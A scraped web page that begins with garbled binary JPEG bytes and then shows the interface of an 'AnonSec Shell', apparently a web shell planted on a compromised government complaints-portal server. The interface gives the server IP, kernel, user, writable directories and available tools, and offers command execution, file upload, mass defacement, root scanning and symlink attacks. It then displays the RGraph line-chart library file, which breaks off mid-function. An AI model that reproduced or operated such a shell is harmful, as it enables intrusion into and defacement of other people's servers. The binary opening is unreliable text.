JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ouvidoria/cmhorizonte/js/RGraph/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/ouvidoria/cmhorizonte/js/RGraph/libraries/RGraph.line.js
// version: 2014-08-16
/**
 * o--------------------------------------------------------------------------------o
 * | This file is part of the RGraph package - you can learn more at:               |
 * |                                                                                |
 * |                          http://www.rgraph.net                                 |
 * |                                                                                |
 * | This package is licensed under the Creative Commons BY-NC license. That means  |
 * | that for non-commercial purposes it's free to use and for business use there's |
 * | a 99 GBP per-company fee to pay. You can read the full license here:           |
 * |                                                                                |
 * |                      http://www.rgraph.net/license                             |
 * o--------------------------------------------------------------------------------o
 */

RGraph = window.RGraph || {isRGraph: true};

/**
 * The line chart constructor
 *
 * @param object canvas The cxanvas object
 * @param array  ...    The lines to plot
 */
RGraph.Line = function (conf) {
    /**
     * Allow for object config style
     */
    if (typeof conf === 'object'
        && typeof conf.data === 'object'
        && typeof conf.id === 'string') {

        var id = conf.id;
        var canvas = document.getElementById(id);
        var data = conf.data;
        var parseConfObjectForOptions = true; // Set this so the config is parsed (at the end of the constructor)

    } else {

        var id = conf;
        var canvas = document.getElementById(id);
        var data = arguments[1];
    }


    this.id = id;
    this.canvas = canvas;
    this.context = this.canvas.getContext('2d');
    this.canvas.__object__ = this;
    this.type = 'line';
    this.max = 0;
    this.coords = [];
    this.coords2 = [];
    this.coords.key = [];
    this.coordsText = [];
    this.coordsSpline = [];
    this.hasnegativevalues = false;
    this.isRGraph = true;
    this.uid = RGraph.CreateUID();
    this.canvas.uid = this.canvas.uid ? this.canvas.uid : RGraph.CreateUID();
    this.colorsParsed = false;
    this.original_colors = [];
    this.firstDraw = true; // After the first draw this will be false


    /**
     * Compatibility with older browsers
     */
        //RGraph.OldBrowserCompat(this.context);


        // Various config type stuff
    this.properties =
    {
        'chart.background.barcolor1': 'rgba(0,0,0,0)',
        'chart.background.barcolor2': 'rgba(0,0,0,0)',
        'chart.background.grid': 1,
        'chart.background.grid.width': 1,
        'chart.background.grid.hsize': 25,
        'chart.background.grid.vsize': 25,
        'chart.background.grid.color': '#ddd',
        'chart.background.grid.vlines': true,
        'chart.background.grid.hlines': true,
        'chart.background.grid.border': true,
        'chart.background.grid.autofit': true,
        'chart.background.grid.autofit.align': false,
        'chart.background.grid.autofit.numhlines': 5,
        'chart.background.grid.autofit.numvlines': 20,
        'chart.background.grid.dashed': false,
        'chart.background.grid.dotted': false,
        'chart.background.hbars': null,
        'chart.background.image': null,
        'chart.background.image.stretch': true,
        'chart.background.image.x': null,
        'chart.background.image.y': null,
        'chart.background.image.w': null,
        'chart.background.image.h': null,
        'chart.background.image.align': null,
        'chart.background.color': null,
        'chart.labels': null,
        'chart.labels.ingraph': null,
        'chart.labels.above': false,
        'chart.labels.above.size': 8,
        'chart.labels.above.decimals': null,
        'chart.xtickgap': 20,
        'chart.smallxticks': 3,
        'chart.largexticks': 5,
        'chart.ytickgap': 20,
        'chart.smallyticks': 3,
        'chart.largeyticks': 5,
        'chart.numyticks': 10,
        'chart.linewidth': 2.01,
        'chart.colors': ['red', '#0f0', '#00f', '#f0f', '#ff0', '#0ff', 'green', 'pink', 'blue', 'black'],
        'chart.hmargin': 0,
        'chart.tickmarks.dot.color': 'white',
        'chart.tickmarks': 'endcircle',
        'chart.tickmarks.linewidth': null,
        'chart.tickmarks.image': null,
        'chart.tickmarks.image.halign': 'center',
        'chart.tickmarks.image.valign': 'center',
        'chart.tickmarks.image.offsetx': 0,
        'chart.tickmarks.image.offsety': 0,
        'chart.ticksize': 3,
        'chart.gutter.left': 25,
        'chart.gutter.right': 25,
        'chart.gutter.top': 25,
        'chart.gutter.bottom': 25,
        'chart.tickdirection': -1,
        'chart.yaxispoints': 5,
        'chart.fillstyle': null,
        'chart.xaxispos': 'bottom',
        'chart.yaxispos': 'left',
        'chart.xticks': null,
        'chart.text.size': 10,
        'chart.text.angle': 0,
        'chart.text.color': 'black',
        'chart.text.font': 'Arial',
        'chart.ymin': 0,
        'chart.ymax': null,
        'chart.title': '',
        'chart.title.background': null,
        'chart.title.hpos': null,
        'chart.title.vpos': null,
        'chart.title.bold': true,
        'chart.title.font': null,
        'chart.title.xaxis': '',
        'chart.title.xaxis.bold': true,
        'chart.title.xaxis.size': null,
        'chart.title.xaxis.font': null,
        'chart.title.yaxis': '',
        'chart.title.yaxis.bold': true,
        'chart.title.yaxis.size': null,
        'chart.title.yaxis.font': null,
        'chart.title.yaxis.color': null,
        'chart.title.xaxis.pos': null,
        'chart.title.yaxis.pos': null,
        'chart.title.yaxis.x': null,
        'chart.title.yaxis.y': null,
        'chart.title.xaxis.x': null,
        'chart.title.xaxis.y': null,
        'chart.title.x': null,
        'chart.title.y': null,
        'chart.title.halign': null,
        'chart.title.valign': null,
        'chart.shadow': true,
        'chart.shadow.offsetx': 2,
        'chart.shadow.offsety': 2,
        'chart.shadow.blur': 3,
        'chart.shadow.color': 'rgba(0,0,0,0.5)',
        'chart.tooltips': null,
        'chart.tooltips.hotspot.xonly': false,
        'chart.tooltips.hotspot.size': 5,
        'chart.tooltips.effect': 'fade',
        'chart.tooltips.css.class': 'RGraph_tooltip',
        'chart.tooltips.event': 'onmousemove',
        'chart.tooltips.highlight': true,
        'chart.tooltips.coords.page': false,
        'chart.highlight.stroke': 'gray',
        'chart.highlight.fill': 'white',
        'chart.stepped': false,
        'chart.key': null,
        'chart.key.background': 'white',
        'chart.key.position': 'graph',
        'chart.key.halign': null,
        'chart.key.shadow': false,
        'chart.key.shadow.color': '#666',
        'chart.key.shadow.blur': 3,
        'chart.key.shadow.offsetx': 2,
        'chart.key.shadow.offsety': 2,
        'chart.key.position.gutter.boxed': false,
        'chart.key.position.x': null,
        'chart.key.position.y': null,
        'chart.key.color.shape': 'square',
        'chart.key.rounded': true,
        'chart.key.linewidth': 1,
        'chart.key.colors': null,
        'chart.key.interactive': false,
        'chart.key.interactive.highlight.chart.stroke': 'rgba(255,0,0,0.3)',
        'chart.key.interactive.highlight.label': 'rgba(255,0,0,0.2)',
        'chart.key.text.color': 'black',
        'chart.contextmenu': null,
        'chart.ylabels': true,
        'chart.ylabels.count': 5,
        'chart.ylabels.inside': false,
        'chart.scale.invert': false,
        'chart.xlabels.inside': false,
        'chart.xlabels.inside.color': 'rgba(255,255,255,0.5)',
        'chart.noaxes': false,
        'chart.noyaxis': false,
        'chart.noxaxis': false,
        'chart.noendxtick': false,
        'chart.noendytick': false,
        'chart.units.post': '',
        'chart.units.pre': '',
        'chart.scale.zerostart': false,
        'chart.scale.decimals': null,
        'chart.scale.point': '.',
        'chart.scale.thousand': ',',
        'chart.crosshairs': false,
        'chart.crosshairs.color': '#333',
        'chart.crosshairs.hline': true,
        'chart.crosshairs.vline': true,
        'chart.annotatable': false,
        'chart.annotate.color': 'black',
        'chart.axesontop': false,
        'chart.filled': false,
        'chart.filled.range': false,
        'chart.filled.range.threshold': null,
        'chart.filled.range.threshold.colors': ['red', 'green'],
        'chart.filled.accumulative': true,
        'chart.variant': null,
        'chart.axis.color': 'black',
        'chart.axis.linewidth': 1,
        'chart.numxticks': (arguments[1] && typeof(arguments[1][0]) == 'number' ? arguments[1].length : 20),
        'chart.numyticks': 10,
        'chart.zoom.factor': 1.5,
        'chart.zoom.fade.in': true,
        'chart.zoom.fade.out': true,
        'chart.zoom.hdir': 'right',
        'chart.zoom.vdir': 'down',
        'chart.zoom.frames': 25,
        'chart.zoom.delay': 16.666,
        'chart.zoom.shadow': true,
        'chart.zoom.background': true,
        'chart.zoom.action': 'zoom',
        'chart.backdrop': false,
        'chart.backdrop.size': 30,
        'chart.backdrop.alpha': 0.2,
        'chart.resizable': false,
        'chart.resize.handle.adjust': [0, 0],
        'chart.resize.handle.background': null,
        'chart.adjustable': false,
        'chart.noredraw': false,
        'chart.outofbounds': false,
        'chart.chromefix': true,
        'chart.animation.factor': 1,
        'chart.animation.unfold.x': false,
        'chart.animation.unfold.y': true,
        'chart.animation.unfold.initial': 2,
        'chart.animation.trace.clip': 1,
        'chart.curvy': false,
        'chart.line.visible': true,
        'chart.events.click': null,
        'chart.events.mousemove': null
    }

    /**
     * Change null arguments to empty arrays
     */
    for (var i = 1; i < arguments.length; ++i) {
        if (typeof(arguments[i]) == 'null' || !arguments[i]) {
            arguments[i] = [];
        }
    }


    /**
     * Store the original data. This also allows for giving arguments as one big array.
     */
    this.original_data = [];

    // This allows for the new object based configuration style
    if (typeof conf === 'object' && conf.data) {
        if (typeof conf.data[0] === 'number' || RGraph.isNull(conf.data[0])) {

            this.original_data[0] = RGraph.arrayClone(conf.data);

            //} else if (typeof conf.data[0] === 'object' && !RGraph.isNull(conf.data[0])) {
        } else {

            for (var i = 0; i < conf.data.length; ++i) {
                this.original_data[i] = RGraph.arrayClone(conf.data[i]);
            }
        }

        // Allow for the older configuration style
    } else {
        for (var i = 1; i < arguments.length; ++i) {

            if (arguments[1]
                && typeof(arguments[1]) == 'object'
                && arguments[1][0]
                && typeof(arguments[1][0]) == 'object'
                && arguments[1][0].length) {

                var tmp = [];

                for (var i = 0; i < arguments[1].length; ++i) {
                    tmp[i] = RGraph.array_clone(arguments[1][i]);
                }

                for (var j = 0; j < tmp.length; ++j) {
                    this.original_data[j] = RGraph.array_clone(tmp[j]);
                }

            } else {
                this.original_data[i - 1] = RGraph.array_clone(arguments[i]);
            }
        }
    }


    // Check for support
    if (!this.canvas) {
        alert('[LINE] Fatal error: no canvas support');
        return;
    }

    /**
     * Store the data here as one big array
     */
    this.data_arr = RGraph.array_linearize(this.original_data);

    for (var i = 0; i < this.data_arr.length; ++i) {
        this['$' + i] = {};
    }


    /**
     * Translate half a pixel for antialiasing purposes - but only if it hasn't beeen
     * done already
     */
    if (!this.canvas.__rgraph_aa_translated__) {
        this.context.translate(0.5, 0.5);

        this.canvas.__rgraph_aa_translated__ = true;
    }


    // Short variable names
    var RG = RGraph;
    var ca = this.canvas;
    var co = ca.getContext('2d');
    var prop = this.properties;
    var jq = jQuery;
    var pa = RG.Path;
    var win = window;
    var doc = document;
    var ma = Math;


    /**
     * "Decorate" the object with the generic effects if the effects library has been included
     */
    if (RG.Effects && typeof RG.Effects.decorate === 'function') {
        RG.Effects.decorate(this);
    }


    /**
     * An all encompassing accessor
     *
     * @param string name The name of the property
     * @param mixed value The value of the property
     */
    this.set =
        this.Set = function (name) {
            var value = typeof arguments[1] === 'undefined' ? null : arguments[1];

            /**
             * the number of arguments is only one and it's an
             * object - parse it for configuration data and return.
             */
            if (arguments.length === 1 && typeof name === 'object') {
                RG.parseObjectStyleConfig(this, name);
                return this;
            }


            name = name.toLowerCase();

            /**
             * This should be done first - prepend the propertyy name with "chart." if necessary
             */
            if (name.substr(0, 6) != 'chart.') {
                name = 'chart.' + name;
            }

            // Consolidate the tooltips
            if (name == 'chart.tooltips' && typeof value == 'object' && value) {

                var tooltips = [];

                for (var i = 1; i < arguments.length; i++) {
                    if (typeof(arguments[i]) == 'object' && arguments[i][0]) {
                        for (var j = 0; j < arguments[i].length; j++) {
                            tooltips.push(arguments[i][j]);
                        }

                    } else if (typeof(arguments[i]) == 'function') {
                        tooltips = arguments[i];

                    } else {
                        tooltips.push(arguments[i]);
                    }
                }

                // Because "value" is used further down at the end of this function, set it to the expanded array os tooltips
                value = tooltips;
            }


            /**
             * If (buggy) Chrome and the linewidth is 1, change it to 1.01
             */
            if (name == 'chart.linewidth' && navigator.userAgent.match(/Chrome/)) {
                if (value == 1) {
                    value = 1.01;

                } else if (RGraph.is_array(value)) {
                    for (var i = 0; i < value.length; ++i) {
                        if (typeof(value[i]) == 'number' && value[i] == 1) {
                            value[i] = 1.01;
                        }
                    }
                }
            }


            /**
             * Check for xaxispos
             */
            if (name == 'chart.xaxispos') {
                if (value != 'bottom' && value != 'center' && value != 'top') {
                    alert('[LINE] (' + this.id + ') chart.xaxispos should be top, center or bottom. Tried to set it to: ' + value + ' Changing it to center');
                    value = 'center';
                }
            }


            /**
             * chart.xticks is now called chart.numxticks
             */
            if (name == 'chart.xticks') {
                name = 'chart.numxticks';
            }


            /**
             * Change the new chart.spline option to chart.curvy
             */
            if (name == 'chart.spline') {
                name = 'chart.curvy';
            }


            /**
             * Chnge chart.ylabels.invert to chart.scale.invert
             */
            if (name == 'chart.ylabels.invert') {
                name = 'chart.scale.invert';
            }


            this.properties[name] = value;

            return this;
        };


    /**
     * An all encompassing accessor
     *
     * @param string name The name of the property
     */
    this.get =
        this.Get = function (name) {
            /**
             * This should be done first - prepend the property name with "chart." if necessary
             */
            if (name.substr(0, 6) != 'chart.') {
                name = 'chart.' + name;
            }

            /**
             * If requested property is chart.spline - change it to chart.curvy
             */
            if (name == 'chart.spline') {
                name = 'chart.curvy';
            }

            return prop[name];
        };


    /**
     * The function you call to draw the line chart
     *
     * @param bool An optional bool used internally to ditinguish whether the
     *             line chart is being called by the bar chart
     *
     * Draw()
     *  |
     *  +--Draw()
     *  |  |
     *  |  +-DrawLine()
     *  |
     *  +-RedrawLine()
     *     |
     *     +-DrawCurvyLine()
     *        |
     *        +-DrawSpline()
     */
    this.draw =
        this.Draw = function () {
            // MUST be the first thing done!
            if (typeof(prop['chart.background.image']) == 'string') {
                RG.DrawBackgroundImage(this);
            }


            /**
             * Fire the onbeforedraw event
             */
            RG.FireCustomEvent(this, 'onbeforedraw');


            /**
             * Parse the colors. This allows for simple gradient syntax
             */
            if (!this.colorsParsed) {

                this.parseColors();

                // Don't want to do this again
                this.colorsParsed = true;
            }


            /**
             * This is new in May 2011 and facilitates indiviual gutter settings,
             * eg chart.gutter.left
             */
            this.gutterLeft = prop['chart.gutter.left'];
            this.gutterRight = prop['chart.gutter.right'];
            this.gutterTop = prop['chart.gutter.top'];
            this.gutterBottom = prop['chart.gutter.bottom'];


            /**
             * Check for Chrome 6 and shadow
             *
             * TODO Remove once it's been fixed (for a while)
             * 07/03/2014 - Removed
             * 29/10/2011 - Looks like it's been fixed as long the linewidth is at least 1.01
             * SEARCH TAGS: CHROME FIX SHADOW BUG
             */
                //if (   prop['chart.shadow']
                //    && RG.ISCHROME
                //    && prop['chart.linewidth'] <= 1
                //    && prop['chart.chromefix']
                //    && prop['chart.shadow.blur'] > 0) {
                //        alert('[RGRAPH WARNING] Chrome has a shadow bug, meaning you should increase the linewidth to at least 1.01');
                //}


                // Reset the data back to that which was initially supplied
            this.data = RG.array_clone(this.original_data);


            // Reset the max value
            this.max = 0;

            /**
             * Reverse the datasets so that the data and the labels tally
             *  COMMENTED OUT 15TH AUGUST 2011
             */
            //this.data = RG.array_reverse(this.data);

            if (prop['chart.filled'] && !prop['chart.filled.range'] && this.data.length > 1 && prop['chart.filled.accumulative']) {

                var accumulation = [];

                for (var set = 0; set < this.data.length; ++set) {
                    for (var point = 0; point < this.data[set].length; ++point) {
                        this.data[set][point] = Number(accumulation[point] ? accumulation[point] : 0) + this.data[set][point];
                        accumulation[point] = this.data[set][point];
                    }
                }
            }

            /**
             * Get the maximum Y scale value
             */
            if (prop['chart.ymax']) {

                this.max = prop['chart.ymax'];
                this.min = prop['chart.ymin'] ? prop['chart.ymin'] : 0;

                this.scale2 = RG.getScale2(this, {
                    'max': this.max,
                    'min': prop['chart.ymin'],
                    'strict': true,
                    'scale.thousand': prop['chart.scale.thousand'],
                    'scale.point': prop['chart.scale.point'],
                    'scale.decimals': prop['chart.scale.decimals'],
                    'ylabels.count': prop['chart.ylabels.count'],
                    'scale.round': prop['chart.scale.round'],
                    'units.pre': prop['chart.units.pre'],
                    'units.post': prop['chart.units.post']
                });

                this.max = this.scale2.max ? this.scale2.max : 0;

                // Check for negative values
                if (!prop['chart.outofbounds']) {
                    for (dataset = 0; dataset < this.data.length; ++dataset) {
                        if (RGraph.isArray(this.data[dataset])) {
                            for (var datapoint = 0; datapoint < this.data[dataset].length; datapoint++) {
                                // Check for negative values
                                this.hasnegativevalues = (this.data[dataset][datapoint] < 0) || this.hasnegativevalues;
                            }
                        }
                    }
                }

            } else {

                this.min = prop['chart.ymin'] ? prop['chart.ymin'] : 0;

                // Work out the max Y value
                for (dataset = 0; dataset < this.data.length; ++dataset) {
                    for (var datapoint = 0; datapoint < this.data[dataset].length; datapoint++) {

                        this.max = Math.max(this.max, this.data[dataset][datapoint] ? Math.abs(parseFloat(this.data[dataset][datapoint])) : 0);

                        // Check for negative values
                        if (!prop['chart.outofbounds']) {
                            this.hasnegativevalues = (this.data[dataset][datapoint] < 0) || this.hasnegativevalues;
                        }
                    }
                }

                this.scale2 = RG.getScale2(this, {
                    'max': this.max,
                    'min': prop['chart.ymin'],
                    'scale.thousand': prop['chart.scale.thousand'],
                    'scale.point': prop['chart.scale.point'],
                    'scale.decimals': prop['chart.scale.decimals'],
                    'ylabels.count': prop['chart.ylabels.count'],
                    'scale.round': prop['chart.scale.round'],
                    'units.pre': prop['chart.units.pre'],
                    'units.post': prop['chart.units.post']
                });

                this.max = this.scale2.max ? this.scale2.max : 0;
            }

            /**
             * Setup the context menu if required
             */
            if (prop['chart.contextmenu']) {
                RG.ShowContext(this);
            }

            /**
             * Reset the coords arrays otherwise it will keep growing
             */
            this.coords = [];
            this.coordsText = [];

            /**
             * Work out a few things. They need to be here because they depend on things you can change before you
             * call Draw() but after you instantiate the object
             */
            this.grapharea = ca.height - this.gutterTop - this.gutterBottom;
            this.halfgrapharea = this.grapharea / 2;
            this.halfTextHeight = prop['chart.text.size'] / 2;

            // Check the combination of the X axis position and if there any negative values
            //
            // 19th Dec 2010 - removed for Opera since it can be reported incorrectly whn there
            // are multiple graphs on the page
            if (prop['chart.xaxispos'] == 'bottom' && this.hasnegativevalues && !RG.ISOPERA) {
                alert('[LINE] You have negative values and the X axis is at the bottom. This is not good...');
            }

            if (prop['chart.variant'] == '3d') {
                RG.Draw3DAxes(this);
            }

            // Progressively Draw the chart
            RG.background.Draw(this);


            /**
             * Draw any horizontal bars that have been defined
             */
            if (prop['chart.background.hbars'] && prop['chart.background.hbars'].length > 0) {
                RG.DrawBars(this);
            }

            if (prop['chart.axesontop'] == false) {
                this.DrawAxes();
            }

            //if (typeof(shadowColor) == 'object') {
            //    shadowColor = RG.array_reverse(RG.array_clone(prop['chart.shadow.color']]);
            //}

            /**
             * This facilitates the new Trace2 effect
             */

            co.save()
            co.beginPath();
            co.rect(0, 0, ca.width * prop['chart.animation.trace.clip'], ca.height);
            co.clip();

            for (var i = 0, j = 0, len = this.data.length; i < len; i++, j++) {

                co.beginPath();

                /**
                 * Turn on the shadow if required
                 */
                if (!prop['chart.filled']) {
                    this.SetShadow(i);
                }

                /**
                 * Draw the line
                 */

                if (prop['chart.fillstyle']) {
                    if (typeof(prop['chart.fillstyle']) == 'object' && prop['chart.fillstyle'][j]) {
                        var fill = prop['chart.fillstyle'][j];

                    } else if (typeof(prop['chart.fillstyle']) == 'object' && prop['chart.fillstyle'].toString().indexOf('Gradient') > 0) {
                        var fill = prop['chart.fillstyle'];

                    } else if (typeof(prop['chart.fillstyle']) == 'string') {
                        var fill = prop['chart.fillstyle'];

                    }
                } else if (prop['chart.filled']) {
                    var fill = prop['chart.colors'][j];

                } else {
                    var fill = null;
                }

                /**
                 * Figure out the tickmark to use
                 */
                if (prop['chart.tickmarks'] && typeof(prop['chart.tickmarks']) == 'object') {
                    var tickmarks = prop['chart.tickmarks'][i];
                } else if (prop['chart.tickmarks'] && typeof(prop['chart.tickmarks']) == 'string') {
                    var tickmarks = prop['chart.tickmarks'];
                } else if (prop['chart.tickmarks'] && typeof(prop['chart.tickmarks']) == 'function') {
                    var tickmarks = prop['chart.tickmarks'];
                } else {
                    var tickmarks = null;
                }


                this.DrawLine(this.data[i],
                    prop['chart.colors'][j],
                    fill,
                    this.GetLineWidth(j),
                    tickmarks,
                    i);

                co.stroke();
            }

            /**
             * If the line is filled re-stroke the lines
             */
            if (prop['chart.filled'] && prop['chart.filled.accumulative'] && !prop['chart.curvy']) {

                for (var i = 0; i < this.coords2.length; ++i) {

                    co.beginPath();
                    co.lineWidth = this.GetLineWidth(i);
                    co.strokeStyle = prop['chart.colors'][i];

                    for (var j = 0, len = this.coords2[i].length; j < len; ++j) {

                        if (j == 0 || this.coords2[i][j][1] == null || (this.coords2[i][j - 1] && this.coords2[i][j - 1][1] == null)) {
                            co.moveTo(this.coords2[i][j][0], this.coords2[i][j][1]);
                        } else {
                            if (prop['chart.stepped']) {
                                co.lineTo(this.coords2[i][j][0], this.coords2[i][j - 1][1]);
                            }
                            co.lineTo(this.coords2[i][j][0], this.coords2[i][j][1]);
                        }
                    }

                    co.stroke();
                    // No fill!
                }

                //Redraw the tickmarks
                if (prop['chart.tickmarks']) {

                    co.beginPath();

                    co.fillStyle = 'white';

                    for (var i = 0, len = this.coords2.length; i < len; ++i) {

                        co.beginPath();
                        co.strokeStyle = prop['chart.colors'][i];

                        for (var j = 0; j < this.coords2[i].length; ++j) {
                            if (typeof(this.coords2[i][j]) == 'object' && typeof(this.coords2[i][j][0]) == 'number' && typeof(this.coords2[i][j][1]) == 'number') {

                                var tickmarks = typeof(prop['chart.tickmarks']) == 'object' ? prop['chart.tickmarks'][i] : prop['chart.tickmarks'];

                                this.DrawTick(this.coords2[i],
                                    this.coords2[i][j][0],
                                    this.coords2[i][j][1],
                                    co.strokeStyle,
                                    false,
                                    j == 0 ? 0 : this.coords2[i][j - 1][0],
                                    j == 0 ? 0 : this.coords2[i][j - 1][1],
                                    tickmarks,
                                    j);
                            }
                        }
                    }

                    co.stroke();
                    co.fill();
                }

            } else if (prop['chart.filled'] && prop['chart.filled.accumulative'] && prop['chart.curvy']) {

                // Restroke the curvy filled accumulative lines

                for (var i = 0; i < this.coordsSpline.length; i += 1) {
                    co.beginPath();
                    co.strokeStyle = prop['chart.colors'][i];
                    co.lineWidth = this.GetLineWidth(i);

                    for (var j = 0, len = this.coordsSpline[i].length; j < len; j += 1) {

                        var point = this.coordsSpline[i][j];

                        j == 0 ? co.moveTo(point[0], point[1]) : co.lineTo(point[0], point[1]);
                    }

                    co.stroke();
                }


                for (var i = 0, len = this.coords2.length; i < len; i += 1) {
                    for (var j = 0, len2 = this.coords2[i].length; j < len2; ++j) {
                        if (typeof(this.coords2[i][j]) == 'object' && typeof(this.coords2[i][j][0]) == 'number' && typeof(this.coords2[i][j][1]) == 'number') {

                            var tickmarks = typeof prop['chart.tickmarks'] == 'object' && !RGraph.is_null(prop['chart.tickmarks']) ? prop['chart.tickmarks'][i] : prop['chart.tickmarks'];
                            co.strokeStyle = prop['chart.colors'][i];
                            this.DrawTick(this.coords2[i],
                                this.coords2[i][j][0],
                                this.coords2[i][j][1],
                                prop['chart.colors'][i],
                                false,
                                j == 0 ? 0 : this.coords2[i][j - 1][0],
                                j == 0 ? 0 : this.coords2[i][j - 1][1],
                                tickmarks,
                                j);
                        }
                    }
                }


            }
            co.restore();

            // ???
            co.beginPath();


            /**
             * If the axes have been requested to be on top, do that
             */
            if (prop['chart.axesontop']) {
                this.DrawAxes();
            }

            /**
             * Draw the labels
             */
            this.DrawLabels();

            /**
             * Draw the range if necessary
             */
            this.DrawRange();

            // Draw a key if necessary
            if (prop['chart.key'] && prop['chart.key'].length && RG.DrawKey) {
                RG.DrawKey(this, prop['chart.key'], prop['chart.colors']);
            }

            /**
             * Draw " above" labels if enabled
             */
            if (prop['chart.labels.above']) {
                this.DrawAboveLabels();
            }

            /**
             * Draw the "in graph" labels
             */
            RG.DrawInGraphLabels(this);

            /**
             * Redraw the lines if a filled range is on the cards
             */
            if (prop['chart.filled'] && prop['chart.filled.range'] && this.data.length == 2) {

                co.beginPath();
                var len = this.coords.length / 2;
                co.lineWidth = prop['chart.linewidth'];
                co.strokeStyle = prop['chart.colors'][0];

                for (var i = 0; i < len; ++i) {

                    if (!RG.is_null(this.coords[i][1])) {
                        if (i == 0) {
                            co.moveTo(this.coords[i][0], this.coords[i][1]);
                        } else {
                            co.lineTo(this.coords[i][0], this.coords[i][1]);
                        }
                    }
                }

                co.stroke();


                co.beginPath();

                if (prop['chart.colors'][1]) {
                    co.strokeStyle = prop['chart.colors'][1];
                }

                for (var i = this.coords.length - 1; i >= len; --i) {
                    if (!RG.is_null(this.coords[i][1])) {
                        if (i == (this.coords.length - 1)) {
                            co.moveTo(this.coords[i][0], this.coords[i][1]);
                        } else {
                            co.lineTo(this.coords[i][0], this.coords[i][1]);
                        }
                    }
                }

                co.stroke();


            } else if (prop['chart.filled'] && prop['chart.filled.range']) {
                alert('[LINE] You must have only two sets of data for a filled range chart');
            }

            /**
             * This function enables resizing
             */
            if (prop['chart.resizable']) {
                RG.AllowResizing(this);
            }


            /**
             * This installs the event listeners
             */
            RG.InstallEventListeners(this);


            /**
             * Fire the onfirstdraw event
             */
            if (this.firstDraw) {
                RG.fireCustomEvent(this, 'onfirstdraw');
                this.firstDraw = false;
                this.firstDrawFunc();
            }


            /**
             * Fire the RGraph ondraw event
             */
            RG.FireCustomEvent(this, 'ondraw');

            return this;
        };


    /**
     * Draws the axes
     */
    this.drawAxes =
        this.DrawAxes = function () {
            //var RG   = RGraph;
            //var ca   = this.canvas;
            //var co   = this.context;
            //var prop = this.properties;

            // Don't draw the axes?
            if (prop['chart.noaxes']) {
                return;
            }

            // Turn any shadow off
            RG.NoShadow(this);

            co.lineWidth = prop['chart.axis.linewidth'] + 0.001;
            co.lineCap = 'butt';
            co.strokeStyle = prop['chart.axis.color'];
            co.beginPath();

            // Draw the X axis
            if (prop['chart.noxaxis'] == false) {
                if (prop['chart.xaxispos'] == 'center') {
                    co.moveTo(this.gutterLeft, Math.round((this.grapharea / 2) + this.gutterTop));
                    co.lineTo(ca.width - this.gutterRight, Math.round((this.grapharea / 2) + this.gutterTop));
                } else if (prop['chart.xaxispos'] === 'top') {
                    co.moveTo(this.gutterLeft, this.gutterTop);
                    co.lineTo(ca.width - this.gutterRight, this.gutterTop);
                } else {
                    co.moveTo(this.gutterLeft, ca.height - this.gutterBottom);
                    co.lineTo(ca.width - this.gutterRight, ca.height - this.gutterBottom);
                }
            }

            // Draw the Y axis
            if (prop['chart.noyaxis'] == false) {
                if (prop['chart.yaxispos'] == 'left') {
                    co.moveTo(this.gutterLeft, this.gutterTop);
                    co.lineTo(this.gutterLeft, ca.height - this.gutterBottom);
                } else {
                    co.moveTo(ca.width - this.gutterRight, this.gutterTop);
                    co.lineTo(ca.width - this.gutterRight, ca.height - this.gutterBottom);
                }
            }

            /**
             * Draw the X tickmarks
             */
            if (prop['chart.noxaxis'] == false && prop['chart.numxticks'] > 0) {

                var xTickInterval = (ca.width - this.gutterLeft - this.gutterRight) / prop['chart.numxticks'];


                if (!xTickInterval || xTickInterval <= 0) {
